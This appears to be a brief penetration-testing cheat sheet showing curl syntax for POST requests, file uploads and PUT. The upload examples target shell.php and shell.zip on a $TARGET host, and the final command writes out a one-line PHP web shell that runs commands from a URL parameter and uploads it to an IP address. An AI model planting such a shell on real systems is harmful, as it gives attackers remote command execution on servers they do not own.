Post Requests

Sometimes we need to send post request to target system in order to do some tasks , so here we will how we can use curl and python in order to send POST request

Curl

Basic Syntax

curl -x POST http://example.com

Sending Additional Data

curl -d "user=user1&pass=abcd" -X POST https://example.com/login

Upload Files through POST

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

Uploading files on the web through put method

curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php

Python

Last updated